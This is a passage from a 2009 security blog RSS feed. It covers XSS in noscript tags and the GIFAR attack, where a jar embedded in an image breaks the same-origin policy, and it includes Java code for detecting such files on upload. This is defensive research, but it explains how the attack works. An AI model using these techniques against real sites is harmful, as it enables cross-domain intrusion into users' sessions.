<p>1. Javascript content inside title tag is escaped.</p>
<p><img src="http://www.securethoughts.com/security/htmlnoscript/p1.jpg" alt="" /></p>
<p>2. Javascript content inside input tag is escaped.</p>
<p><img src="http://www.securethoughts.com/security/htmlnoscript/p2.jpg" alt="" /></p>
<p>3. Javascript content inside <strong>noscript</strong> tag is <strong>NOT</strong> escaped.</p>
<p><img src="http://www.securethoughts.com/security/htmlnoscript/p3.jpg" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/02/hacking-for-xss-inside-noscript-html-tags/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Easy Server Side Fix for the GIFAR security issue</title>
		<link>http://securethoughts.com/2009/01/easy-server-side-fix-for-the-gifar-security-issue/</link>
		<comments>http://securethoughts.com/2009/01/easy-server-side-fix-for-the-gifar-security-issue/#comments</comments>
		<pubDate>Sat, 24 Jan 2009 22:59:17 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Solutions]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[GIFAR]]></category>
		<category><![CDATA[Image]]></category>
		<category><![CDATA[Jar]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=35</guid>
		<description><![CDATA[The GIFAR issue was found by security researchers Billy Rios and Nate Mcfeters. To summarize the exploit, an attacker uploads a malicious image with embedded jar content on a target domain. This malicious image opens in any image viewer correctly and so it bypasses any content validation engine used by a web application. Then an [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/">GIFAR issue</a> was found by security researchers <a href="http://xs-sniper.com/blog/">Billy Rios</a> and <a href="http://natemcfeters.blogspot.com">Nate Mcfeters</a>. To summarize the exploit, an attacker uploads a malicious image with embedded jar content on a target domain. This malicious image opens in any image viewer correctly and so it bypasses any content validation engine used by a web application. Then an attacker references this malicious image in the applet code on his or her evil site, establishing a cross-domain communication channel with the target domain. This attack is very serious because it breaks the <a href="http://www.mozilla.org/projects/security/components/jssec.html#sameorigin">Same Origin Policy</a> principle. Also, this problem is not just confined to images, it is applicable to other file types such as doc, etc. Another great writeup on Jar File Issues is on <a href="http://www.gnucitizen.org/blog/java-jar-attacks-and-features/">pdp&#8217;s blog</a>.</p>
<p>In Billy&#8217;s Blog, two solutions have been discussed :-</p>
<p><strong>Solution 1. Update to the latest version of JRE.</strong> This will protect you. However, if I am a web application writer, I cannot ensure that my customers will be protected. The reason is I cannot control the JRE version that my customers will be running on their client machines. The JRE updates don&#8217;t work like Windows Updates. So their obsolete JRE environments will not get automatically updated, which leaves them vulnerable to cross-domain exploits. So, Billy discusses another solution for the application writer.</p>
<p><strong>Solution 2. Serve user controlled files from a &#8220;throw away&#8221; domain.</strong> However, having a separate domain might not be feasible at all times, for reasons such as cost, management issues, etc.</p>
<p><strong>My Solution</strong>. This made me think of some solution that could help an application developer to filter malicious jar content on the server side. If the application is able to restrict the upload of malicious files, it solves the problem on the server side without worrying about which version of JRE the client is running. I found the api <strong>JarFile</strong> in Java library <strong>java.util.jar</strong> to be extremely useful. It takes as input a file parameter, and returns a JarFile object if the input file has jar content. Otherwise, it raises a <strong>java.util.zip.ZipException</strong> exception.</p>
<p>I have constructed Proof of Concept code that tests a input file for malicious jar content.</p>
<pre class="brush: java; wrap-lines: true">
import java.io.*;
import java.util.*;
import java.util.jar.*;

public class DetectGIFAR {
    public static void main (String args[])
         throws IOException {

		if(args.length != 1)
		{
			System.out.println("Usage: java DetectGIFAR image_file");
			System.exit(1);
		}

		try
		{
			JarFile jarFile = new JarFile(args[0]);
			System.out.println("This is a malicious image with embedded jar content.\nFollowing are the contents:-");
			Enumeration jarenum = jarFile.entries();
			while (jarenum.hasMoreElements()) {
				JarEntry jarent = (JarEntry) jarenum.nextElement();
				System.out.println(jarent.getName() + ", " + jarent.getSize() + " bytes");
			}
		}
		catch(java.util.zip.ZipException e)
		{
			System.out.println("This is a benign image file. No jar content detected.");
			System.exit(0);
		}
		catch (Exception e)
		{
			System.out.println("Error occured. Unable to process GIFAR contents.");
		}
	}
}</pre>
<p><a href="http://securethoughts.com/security/gifar/DetectGIFAR.java">DetectGIFAR.java</a>, <a href="http://securethoughts.com/security/gifar/DetectGIFAR.class">DetectGIFAR.class</a>, <a href="http://securethoughts.com/security/gifar/titanic.gif">titanic.gif</a>, <a href="http://securethoughts.com/security/gifar/evil.gif">evil.gif</a></p>
<p>Below is sample output</p>
<p><img src="http://securethoughts.com/security/gifar/gifartest.JPG" alt="" /></p>
<p>And if you are new to the GIFAR exploit, below is example html applet code that loads a malicious gif hosted on my domain. You need to have the vulnerable JRE 1.6 update 10 or lower to see this applet running. You can play with this applet by typing anywhere inside it <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Let me know your thoughts and opinions on this server side fix. I am always open for discussions.</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/01/easy-server-side-fix-for-the-gifar-security-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

